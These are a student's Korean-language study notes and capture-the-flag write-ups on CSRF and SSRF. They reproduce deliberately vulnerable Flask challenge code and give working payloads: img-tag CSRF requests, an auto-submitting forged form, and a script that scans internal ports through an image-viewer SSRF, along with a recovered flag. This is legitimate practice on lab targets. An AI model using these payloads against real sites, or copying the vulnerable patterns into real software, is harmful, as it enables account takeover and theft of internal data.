과제 1. 문서화
웹 구성요소
- Client: 웹 서버에 request할 수 있는 주체
- HTTP: 정보를 주고 받는 웹 프로토콜, 평문 전송->스니핑 공격에 취약, OSI 7계층에 속함
- Browser: 클라이언트가 request한 걸 서버에 전달, 서버가 전달한 response를 클라이언트에 시각적으로 보여주는 툴 ex)파이어폭스, 크롬 등
- Server: request에 따라 HTML 문서 제공, 리소스 관리
- Web Application: 브라우저에서 접근할 수 있는 프로그램->HTTP에서 동작됨 ex) jsp, php 등
웹 리소스
웹 리소스: 서버가 제공하는 자원(resource)
- 웹 사이트 접속, API 호출 시 제공받을 수 있음
- 프로그램도 리소스가 될 수 있다
- 서버 리소스 -> URI = URL+URN, URI를 통해 원하는 리소스에 접근, 정보 리소스를 저장하기 때문에 식별자의 역할
URL
URL: 가장 흔한 리소스 식별자, 리소스에 대한 위치 서술, 사용 프로토콜+리소스가있는주소+원하는리소스
문법: scheme://[userinfo@]host[:port][/path][?query][#fragment]
- 스키마: 리소스 접근 방법(프로토콜)
- 사용자 정보: 리소스 접근에 인증 필요 때 작성
- 호스트: 리소스가 있는 ip주소
- 포트 번호: 리소스를 가지고 있는 포트 번호(애플리케이션에 할당됨)
- 경로: 리소스가 존재하는 위치, ‘/’로 계층적 표현
- 쿼리 파라미터: 서버가 받는 파라미터와 변수 받음, ‘&’으로 구분
- 프레그먼트: 리소스에서 특정 부분 가리킬 때
파일의 종류
정적 파일: 미리 저장된 파일, 고정적 동적 파일: 실시간으로 변경되는 파일, 서버가 request에 따라 데이터 생성한 웹페이지 제공
CSRF
CSRF(Cross Site Request Forgery): 클라이언트 의지와 무관하게 공격자 의도대로 웹사이트 request
- CSRF 스크립트 포함된 게시물 등록
- 클라이언트가 그 게시물을 열람하면
- request와 response
- 스크립트 실행
CSRF 방어
- referer 체크: referer로 request를 보낸 페이지 정보 확인
- GET/POST 요청 구분: img-> GET, form->POST로 요청 구분
- Token: 암호화된 token 발급-> request마다 token으로 서버 검사
- 추가 인증 수단
**CSRF와 XSS의 차이 **
| CSRF | XSS | |
|---|---|---|
| 공통점 | 악성 스크립트가 심어진 페이지 접속 | |
| 목적 | HTTP request 보냄 | 세션, 쿠키 탈취 |
| 공격 대상 | 서버 | 클라이언트 |
SSRF
SSRF(Server Side Request Forgery): 위조된 HTTP request로 서버 내부 리소스 접근->유출
- 해커가 브라우저를 통해 위조된 request
- 서버 내부망에서 비정상 요청이 처리됨
- 리소스 유출
*website translator, Image viewer, document reader, web crawler, URL previewer 겨냥
과제 2. csrf-1 라이트업

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
app.run(host="0.0.0.0", port=8000)
문제 설명, 메인 화면, 파이썬 코드는 위와 같다.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
일단 xss 필터가 있는 걸 보아 xss로 풀긴 어려워 보인다.
@app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"
memo_text에 flag를 포함한 문장이 추가되는 걸 확인할 수 있다. if문들을 확인하니 127.0.0.1에 userid가 admin이 되면 flag를 출력할 수 있다.
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", None)
if text:
memo_text += text
return render_template("memo.html", memo=memo_text)
memo_text는 memo 페이지에 출력된다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
flag 페이지는 POST 요청을 받는다.
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
param을 받아 http://~로 요청하는 거 같다. 이미 127.0.0.1로 맞춰져있으니 userid를 admin으로 설정하는 param을 추가하면 된다.
<img src="/admin/notice_flag?userid=admin">
라업을 참고하니 위와 같은 param을 넣어줬다.

과제 3. ssrf 라이트업

#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
문제 설명과 메인화면, 파이썬 코드
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
flag는 저기 있다고 한다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
페이지가 하나밖에 없다 image viewer는 ssrf의 주요 표적이라고 한다. base64로 인코딩 한 거 같은데 그냥 /flag.txt 열람하려고 했더니
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
필터링 때문에 안된다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
하지만 127.0.0.1 호스트와 port를 1500~1800 중에 하나로 맞춰줘야 flag.txt를 열람할 수 있기 때문에 hex값으로 우회 0x7f000001 port 찾는 파이썬 코드
import requests
import sys
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in range(1500, 1801):
img_url = f"http://Localhost:{port}"
print(img_url)
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_url = f"http://host3.dreamhack.games:18741/img_viewer"
internal_port = find_port()

코드 실행 결과 포트 번호는 1787 이었다.

data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9
DH{43dd2189056475a7f3bd11456a17ad71}가 나온다
과제 4. csrf-2 라이트업


#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
users = {
'guest': 'guest',
'admin': FLAG
}
session_storage = {}
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
print(str(e))
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
app.run(host="0.0.0.0", port=8000)
문제설명과 파이썬 코드
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
첫 화면 please login이라길래 login 부분 먼저 봤다. password가 맞으면 무언가 응답이 나오는 거 같다.
users = {
'guest': 'guest',
'admin': FLAG
}
admin의 pw가 FLAG
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
chage_password가 있었다
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin'
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
post로 파라미터 받으면 session id hex값 랜덤.. 그리고 이게 admin을 저장하는 거 같다. 잘은 모르겠지만 flag -> change_password

/change_password?pw=FLAG로 해봤더니

이부분에서 진도가 안 나가서 라이트업을 참고했더니 그냥 flag에서 받는 파라미터에 /change_password?pw=(원하는비밀번호)를 넣으면 되는 거였다 다만 또 img src 속성을 사용해서
<img src="/change_password?pw=admin">
flag페이지의 파라미터로 전달하면 되는 거였다.

라이트업을 보니까 왜 index에 flag가 나오나 싶었더니 비밀번호를 알아내는 문제가 아니고..
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
메인 화면을 지나쳤는데 return문을 보니 여기서도 FLAG를 출력할 수 있었다. 다음부터는 /도 꼼꼼하게 확인해야겠다.
csrf-1에서도 나왔고 img src에 대해서 짚고 가야할 거 같다. img 태그: 웹페이지에 이미지를 표시하는 태그이다. 이미지를 설명하기 위해 속성과 함께 작성해야 한다. 속성의 종류는 다음과 같다.
| 속성 | |
|---|---|
| src | 이미지 이름 URL 형식으로 지정 |
| width, height | 이미지 출력할 너비와 높이 지정 |
| alt | 이미지 출력 오류 시, 출력할 텍스트 |
| title | 이미지에 커서를 올려둘 때 뜨는 이미지 설명 지정 |
과제 5. [Root Me] CSRF - 0 protection

register에서 admin admin으로 만들고 login 해봤다

profile 클릭

profile 입력창 하나

private을 열어달라 해야하는건가?

contact에 아무거나 보내봤다. administrator을 거쳐가는 거 같다. your email칸에는 @ 앞뒤가 채워져 있어야 하는듯

@뒤에 *포함은 필터링이 걸린다

음… 모르겠어서 라이트업 참고했다 status를 comment창으로 checked 상태로 바꾸는 문제였다
<form action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data" id="admin">
<input type="text" name="username" value="admin">
<input type="checkbox" name="status" checked>
</form>
<script>javascript:document.getElementById("admin").submit();</script>
f12를 열어서 form 형태를 바꿔주고 script로 전달하는 명령어를 넣었다
